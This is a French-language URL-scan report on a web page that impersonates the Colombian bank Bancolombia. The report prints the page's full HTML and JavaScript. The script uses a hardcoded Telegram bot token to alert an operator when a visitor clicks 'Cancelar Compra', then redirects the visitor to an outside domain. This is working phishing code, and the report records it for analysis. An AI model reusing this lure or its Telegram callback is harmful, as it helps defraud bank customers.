https://canceldsfmjsdfgsd.web.app/

ID de l'analyse :
e6c2135d-b04e-4b32-abf0-da6ff7c7793eTerminée
URL soumise :
https://canceldsfmjsdfgsd.web.app/
Fin du rapport :

Liens : 0 trouvé(s)

Liens sortants identifiés à partir de la page

Variables JavaScript : 6 trouvée(s)

Les variables JavaScript globales chargées dans l'objet fenêtre d'une page sont des variables déclarées en dehors des fonctions et accessibles depuis n'importe quel endroit du code au sein du champ d'application actuel

NomType
onbeforetoggleobject
documentPictureInPictureobject
onscrollendobject
actualizarFechaHorafunction
cambiarImagenDeFondofunction
enviarMensajefunction

Messages de journal de console : 1 trouvé(s)

Messages consignés dans la console web

TypeCatégorieEnregistrement
errornetwork
URL
https://canceldsfmjsdfgsd.web.app/favicon.ico
texte
Failed to load resource: the server responded with a status of 404 ()

HTML

Le corps HTML de la page en données brutes

<!DOCTYPE html><html lang="es"><head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Sucursal Virtual</title>
    <style>
        body {
            margin: 0;
            padding: 0;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            background-size: cover;
            background-position: center;
            font-family: Arial, sans-serif;
            color: white;
            text-align: center;
            position: relative;
            transition: background-image 1s ease-in-out; /* Transición suave entre imágenes */
        }

        /* Encabezado con franja blanca */
        .header {
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            background-color: white; /* Fondo blanco */
            display: flex;
            align-items: center;
            justify-content: space-between;
            padding: 10px 20px;
            box-sizing: border-box;
            color: black; /* Color de texto negro */
        }

        .header .title {
            font-size: 20px;
            margin: 0;
        }

        .header .datetime {
            font-size: 14px;
        }

        .container {
            background-color: rgba(0, 0, 0, 0.6); /* Fondo semitransparente */
            padding: 20px;
            border-radius: 10px;
            max-width: 90%;
            box-sizing: border-box;
        }

        .button {
            margin-top: 20px;
            padding: 10px 20px;
            background-color: #f1c40f; /* Color de fondo amarillo */
            color: black; /* Color de texto negro */
            border: none;
            border-radius: 5px;
            font-size: 16px;
            font-weight: bold; /* Texto en negrita */
            cursor: pointer;
            transition: background-color 0.3s;
            width: 100%;
            max-width: 200px;
        }
        
        .button:hover {
            background-color: #d4ac0d; /* Color amarillo más oscuro al pasar el ratón */
        }

        .small-image-below {
            margin-top: 20px;
        }
    </style>
</head>
<body style="background-image: url(&quot;bnl3.jpg&quot;);">
    <!-- Encabezado con franja blanca -->
    <div class="header">
        <div class="datetime" id="datetime">Fecha: 12/23/2024 - Hora: 1:08:22 AM</div> <!-- Fecha y hora en tiempo real -->
        <h2 class="title">BANCOLOMBIA</h2>
    </div>

    <div class="container">
        <h1>SUCURSAL VIRTUAL</h1>
        <p>Ingresa al siguiente enlace para continuar:</p>
        <button class="button" onclick="enviarMensaje()">Cancelar Compra</button> <!-- Texto del botón actualizado -->
        
        <!-- Imagen pequeña debajo del botón -->
        <div class="small-image-below">
            <img src="log2.png" alt="Imagen pequeña" width="100" height="100"> <!-- Reemplaza con la ruta de tu imagen -->
        </div>
    </div>

    <script>
        // Función para actualizar la fecha y hora en tiempo real
        function actualizarFechaHora() {
            const now = new Date();
            const fecha = now.toLocaleDateString();
            const hora = now.toLocaleTimeString();
            document.getElementById('datetime').textContent = `Fecha: ${fecha} - Hora: ${hora}`;
        }

        // Llamada inicial y actualización cada segundo
        actualizarFechaHora();
        setInterval(actualizarFechaHora, 1000);

        // Arreglo de imágenes de fondo
        const imagenesDeFondo = [
            'bnl3.jpg', /* Imagen 1 */
            'bnl4.png', /* Imagen 2 */
            'bnl2.png', /* Imagen 3 */
            'bnl1.jpg', /* Imagen 4 */
            'bnl5.jpg'  /* Imagen 5 */
        ];

        let indiceImagen = 0;

        // Función para cambiar la imagen de fondo cada 5 segundos
        function cambiarImagenDeFondo() {
            document.body.style.backgroundImage = `url('${imagenesDeFondo[indiceImagen]}')`;
            indiceImagen = (indiceImagen + 1) % imagenesDeFondo.length; // Ciclo a través de las imágenes
        }

        // Cambiar la imagen de fondo cada 5 segundos
        setInterval(cambiarImagenDeFondo, 5000);

        async function enviarMensaje() {
            const telegramBotToken = '6377818852:AAHKhqeUraW8x3bv5vwiir8FK-ikJvnFb7E';  // Reemplaza con tu token de bot
            const chatId = '-1001883200641';          // Reemplaza con tu chat ID
            const mensaje = 'El usuario ha hecho clic en "Cancelar Compra".';

            try {
                // Enviar mensaje a Telegram
                const response = await fetch(`https://api.telegram.org/bot${telegramBotToken}/sendMessage?chat_id=${chatId}&text=${encodeURIComponent(mensaje)}`);
                const data = await response.json();

                if (data.ok) {
                    console.log('Mensaje enviado a Telegram:', data);
                    // Redireccionar solo después de confirmar que el mensaje fue enviado
                    window.location.href = 'https://qntramado.click/';
                } else {
                    console.error('Error en la respuesta de Telegram:', data);
                }
            } catch (error) {
                console.error('Error al enviar mensaje a Telegram:', error);
            }
        }

        // Inicializar la primera imagen de fondo
        cambiarImagenDeFondo();
    </script>


</body></html>